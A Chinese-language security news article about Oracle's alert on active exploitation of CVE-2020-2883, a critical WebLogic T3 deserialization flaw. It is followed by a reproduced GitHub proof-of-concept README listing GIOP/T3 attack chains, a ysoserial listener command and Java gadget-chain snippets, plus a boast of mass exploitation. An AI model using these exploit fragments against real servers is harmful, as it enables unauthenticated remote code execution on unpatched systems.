企業軟體巨頭甲骨文5月1日晚上釋出了緊急安全警報,敦促執行WebLogic伺服器的公司安裝公司於4月中旬釋出的最新補丁。
甲骨文表示,已收到有關利用CVE-2020-2883(其WebLogic企業產品中的漏洞)的嘗試攻擊的報告。
WebLogic是基於Java的中介軟體伺服器,位於前端應用程式和資料庫系統之間,可重新路由使用者請求並返回所需的資料。它是一種非常流行的中介軟體解決方案,目前有成千上萬的伺服器線上執行。
CVE-2020-2883漏洞是一個危險的漏洞,在CVSSv3漏洞嚴重性等級中的滿分為9.8,滿分為10。
該漏洞已秘密報告給Oracle,它使威脅者可以透過其專有的T3協議將惡意有效載荷傳送到WebLogic伺服器。
當伺服器接收資料並以不安全的方式對資料進行解包(反序列化)時,即在基礎WebLogic核心上執行惡意程式碼時,就會發生攻擊,從而使駭客能夠控制未打補丁的系統。
Oracle表示,無需使用者身份驗證或互動即可利用此bug。這使CVE-2020-2883成為整合基於Web的自動化攻擊工具和殭屍網路操作的理想之選。
Oracle 在4月14日釋出的季度安全更新中修復了該錯誤:
https://www.oracle.com/security-alerts/cpuapr2020.html
Oracle 2020年4月的關鍵補丁更新(CPU)解決了將近400個漏洞,其中包括CVE-2020-2883,這是Oracle WebLogic Server中的一個關鍵缺陷,未經身份驗證的攻擊者可以利用它來遠端執行程式碼。
甲骨文讚揚了一些人獨立報告了此漏洞,包括Viettel Cyber Security的Bui Duong,VNPT ISC的Jang,Kaki King,齊安新集團的lufei和VNPT ISC的Quynh Le。
Quynh Le透過趨勢科技的零日活動(ZDI)向Oracle報告了他的發現,該活動最近釋出了通報,描述了研究人員在2月和3月確定的CVE-2020-2883的兩種變體。
T3協議的處理過程中存在特定缺陷。T3協議訊息中的虛構資料可以觸發不可信資料的反序列化。攻擊者可以利用此漏洞在當前程式的上下文中執行程式碼。
在一天後的GitHub上釋出了利用CVE-2020-2883錯誤的概念驗證程式碼之後,當前的在野利用嘗試攻擊已經開始。
甲骨文表示,也有針對上個月補丁的其他漏洞的利用嘗試,但該公司特別強調了WebLogic漏洞。
這是因為,在最近幾年,駭客已經不斷示於武器化和利用的WebLogic漏洞。
駭客組織一直在利用這些漏洞劫持WebLogic伺服器,以執行加密貨幣礦工或破壞公司網路並安裝勒索軟體。
CVE-2020-2883幾乎可以肯定會加入CVE-2019-2729,CVE-2019-2725,CVE-2018-2893,CVE-2018-2628和CVE-2017-10271,成為野外利用最多的WebLogic漏洞之一。
Weblogic RCE漏洞利用POC
https://github.com/hktalent/CVE_2020_2546
1,Weblogic RCE漏洞利用
CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3有效載荷利用POC python3
2,利用
GIOP +傳送繫結(CVE-2020-2555,CVE-2019-2888,CVE-2019-2888 <XXE + SSRF" data-textnode-index="25" data-index="1505" >>或其他)
GIOP +傳送jta(rmi或其他)
GIOP +傳送jta + SSRF
T3 +傳送jta
T3 +傳送jta + SSRF
T3 +傳送XXE
T3 +傳送XXE + SSRF
2.1,rmi伺服器,請參閱
不要使用org.mozilla.classfile.DefiningClassLoader
不要使用java -cp $ mtx /../ tools / ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21'whoami'更多資訊:https : //github.com/hktalent/CVE -2020-2551
3,程式碼
3.1,程式碼1
MVEL.compileExpressionMvelExtractor o = new MvelExtractor("xxx;"); ObjectOutputStream oo = new ObjectOutputStream(System.out); oo.writeObject(o); oo.flush();
3.2,程式碼2
public MsgOutput getObject(final String command) throws Exception { String jndiAddress = command; JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(jndiAddress); MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class); return remote; }
3.3,程式碼3
public IORDelegate getObject(final String command) throws Exception {IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class); return ior; }
3.4,程式碼4
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl
4,CVE-2020-2546有效載荷
批次一波,成功無數
5,謝謝
@ r4v3zn @ 0nise
共建網路安全命運共同體